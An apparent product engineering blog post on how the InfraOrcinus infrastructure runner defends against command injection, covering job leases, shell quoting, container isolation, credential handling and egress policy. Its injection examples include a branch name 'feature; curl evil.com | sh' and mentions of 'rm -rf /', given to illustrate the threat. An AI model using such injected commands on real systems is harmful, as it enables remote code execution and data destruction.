Inside the InfraOrcinus Runner: Ephemeral Execution, Job Leases, and Command Defense
By Chirag Panchal · Founder & Lead Architect · · 8 min read
An engineering deep-dive into the InfraOrcinus execution runner. How atomic job claims, single-use container sandboxing, POSIX parameter quoting, and structured JSON serialization reduce command-injection risk. Container hardening and network isolation are partly operator responsibilities, and the article says which parts.
Development Status & Architectural Evolution: InfraOrcinus is in active development. Architecture specifications, internal interfaces, and operational protocols described herein reflect our current engineering design and are continuously refined to make InfraOrcinus robust, resilient, and enterprise-grade.
In modern infrastructure automation, the runner is where intent meets physical reality. It is the component responsible for pulling code, resolving credentials, executing engines like Terraform and OpenTofu, and reporting execution results back to the control plane.
Yet, in many traditional CI/CD setups, runners represent the most vulnerable link in the platform security perimeter. Shared hosts, persistent Docker sockets, and unchecked shell interpolation expose infrastructure fleets to command injection, credential theft, and cross-tenant pollution.
When building the InfraOrcinus execution runner, we architected an isolated, lease-based execution model designed to withstand adversarial workloads.
1. The Anatomy of Runner Vulnerabilities
Traditional automation pipelines frequently suffer from three architectural failure modes:
- Shared Workspace Contamination: Reusing runner nodes across multiple jobs leaves cached credentials, tainted
.terraform/provider binaries, and residual state files on disk. - Command and Shell Injection: Interpolating user-controlled Git branch names, tags, or module subdirectories directly into shell commands (
sh -c "terraform apply $BRANCH") allows attackers to execute arbitrary subshells (rm -rf /or credential exfiltration viacurl). - Stale Job Execution and Split-Brain Runs: When a worker crashes or encounters network partitioning during an apply, an abandoned job can hang indefinitely or be picked up out-of-order by another node.
InfraOrcinus addresses these challenges directly at the runner architecture level.
2. Atomic Job Claims and Short-Lived Leases
InfraOrcinus decouples the control plane from the runner fleet through an atomic, database-backed job claim protocol:
- Mutual Exclusion with Row Locking: When an execution job is queued, runners query the job registry using PostgreSQL row-level locks (
SELECT ... FOR UPDATE SKIP LOCKED). This guarantees that exactly one runner can claim a specific job, eliminating race conditions during high-volume GitOps triggers. - Heartbeat-Bounded Leases: Once claimed, the job is assigned a short-lived execution lease. The runner must stream periodic heartbeats back to the control plane. If a runner experiences a catastrophic hardware failure, the lease expires automatically, and the job transitions to a safe, recoverable failure state without leaving dangling state locks.
- Job-Scoped Security Tokens: Runners do not hold persistent superuser credentials. Each claim mints an ephemeral, job-scoped authorization token restricted exclusively to reading the target module and reporting step logs for that specific run ID.
3. Strict Command Defense and Parameter Quoting
A primary attack vector in platform engineering is command injection through unsanitized Git metadata. If an engineer creates a branch named feature; curl evil.com | sh, naive script templates will execute the injected payload.
In InfraOrcinus's command execution engine, we enforce two non-negotiable invariants:
A. Strict POSIX Parameter Escaping
All user-controllable arguments (repository URLs, branch names, commit SHAs, and module paths) are passed through an internal escaping mechanism before execution:
// shellQuote wraps parameters in single quotes and escapes embedded quotes.
func shellQuote(s string) string {
if s == "" {
return "''"
}
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
}
Our adversarial test suite continuously validates this against directory traversal and command breakout attempts.
B. Pure JSON Variable Serialization
Instead of interpolating variables into CLI flags (-var "db_password=$SECRET"), InfraOrcinus serializes all stack inputs into a structured terraform.tfvars.json document inside the runner memory. The engine receives a single, immutable file path flag, preventing shell expansion and environment variable leakage.
4. Ephemeral Execution: What the Runner Does Today
Every step (plan, apply, validation) runs in a disposable container, Docker or Podman, that is removed when the step ends:
- Single-use container. Each step starts with
docker run --rm. The container is removed when the step finishes, and nothing from one run is visible to the next. - No host mounts. The runner sends the script to the container over stdin, so the container starts with no files from the host.
- Network. When the operator sets a Docker network for runners, the container joins it. Otherwise it uses the engine's default bridge. The runner does not yet filter egress or block cloud metadata endpoints. Enforce that at the network layer (section 4e).
- Users and privileges, not yet hardened in the runner. The runner does not set a non-root user, drop Linux capabilities, make the root filesystem read-only, or apply a seccomp profile. The container runs as the image's default user. Harden the engine and image (for example run rootless Podman, and set these flags in your engine policy) until the runner sets them itself.
- Resource limits, not yet set per container. The runner does not cap CPU or memory per container yet. Steps do have timeouts: validation tasks are capped at four minutes, and a step whose runner dies is recovered by the reaper, so no lease is held forever.
4b. How Cloud Credentials Reach the Engine
The runner must give Terraform or OpenTofu cloud credentials, and this is where most platforms are weakest. InfraOrcinus's handling follows four rules:
- Credentials are stored, never shown. Cloud secrets sit in the credential store, encrypted at rest with AES-256-GCM (or brokered by Vault transit). The API never returns a secret after it is saved, and a credential can only be used by stacks in the same organization.
- Injection is per job, into one container. The secret is resolved when the job is claimed, injected into that single-use container, and destroyed with it. Nothing is written into the image, the shared workspace, or the log stream.
- Prefer short-lived over static. For AWS, a Vault AWS secrets engine path and role let the platform broker short-lived credentials at run time instead of storing long-lived access keys. Static keys remain supported, but brokered credentials limit how long a leaked value stays useful.
- Credential-free steps stay credential-free. Validation of AI-drafted blueprints runs
init -backend=falseandvalidatein a throwaway container with no credentials at all.
Secrets that appear in command output are redacted before logs leave the runner, so a provider that echoes a token does not publish it to the console or the audit trail. Redaction is a safety net, not a substitute for the rules above.
4c. Supply Chain: Engines, Providers, and Modules
The most realistic attack on an IaC runner is not a clever exploit but a malicious or compromised dependency that the engine downloads and executes. The runner narrows that path:
- Pinned engine images. The engine version is chosen per environment and can be pinned to an exact container image tag, so a run never silently picks up a new binary.
- Locked providers. Commit the dependency lock file (
.terraform.lock.hcl) soinitverifies provider checksums instead of trusting whatever the registry serves today. - Controlled registry access. The container needs to reach the provider registry, and behind a corporate SSL-inspecting proxy it can be configured to trust a private root CA. Organizations can route this through an internal registry mirror so only reviewed providers are downloadable.
- Module provenance. Modules come from reviewed sources (the platform's module catalog or approved Git repositories), and policy checks run on every plan before approval.
4d. Untrusted Modules and Provisioners
Terraform can run arbitrary commands on the runner through local-exec and external data sources, so a module is code, not configuration. Treat it that way:
- A hostile
local-execruns in a disposable container with only the cloud credentials of that one job, and nothing persists after the container is removed. Its blast radius is still those credentials and whatever the container can reach over the network, which is why section 4e matters. - Least-privilege cloud roles per environment shrink that blast radius further.
- Policy-as-code flags risky constructs in a plan, and mandatory policies block the apply until a human changes the plan.
- The container flags in section 4 (non-root, read-only root filesystem, dropped capabilities, resource caps) are the planned boundary for untrusted code. Until the runner sets them, the boundary is the container plus the credential scope.
4e. Egress, Metadata, and Network Policy
Blocking cloud metadata (IMDS) is the minimum. The runner does not enforce this itself today, so this is operator policy:
- Default-deny outbound traffic to internal networks and to metadata endpoints (
169.254.169.254). Allow only what a job needs. - Allow-list outbound destinations at the network layer (firewall, proxy, or egress gateway) for the registry and cloud API endpoints in use.
- Keep the control-plane callback used by the HTTP state backend as an explicit, authenticated route rather than broad access to the host network.
4f. Runner Placement and Fleet Scaling
Runners are pull-based: they poll the control plane for queued steps over an authenticated connection and never accept inbound connections. That has three consequences:
- Place runners where the targets are. Run them inside the customer VPC, VNet, or data center that hosts the infrastructure, with outbound-only connectivity to the control plane. No inbound firewall holes are needed.
- Scale by adding runners. Each runner has a concurrency setting (default three parallel jobs). To scale, add VMs behind an autoscaling group or replicas in Kubernetes. The atomic claim guarantees two runners never take the same job.
- Authenticate the runner itself. Runners prove who they are with a shared secret that must match the server, and per-job tokens limit what each claim may read or report.
Summary: Engineering for Reliability
The InfraOrcinus runner architecture ensures that infrastructure delivery is predictable, isolated, and fortified against injection. By combining atomic PostgreSQL claims, strict POSIX quoting, structured JSON serialization, and throwaway containers, platform teams can run autonomous synthesis and developer pull requests with complete confidence.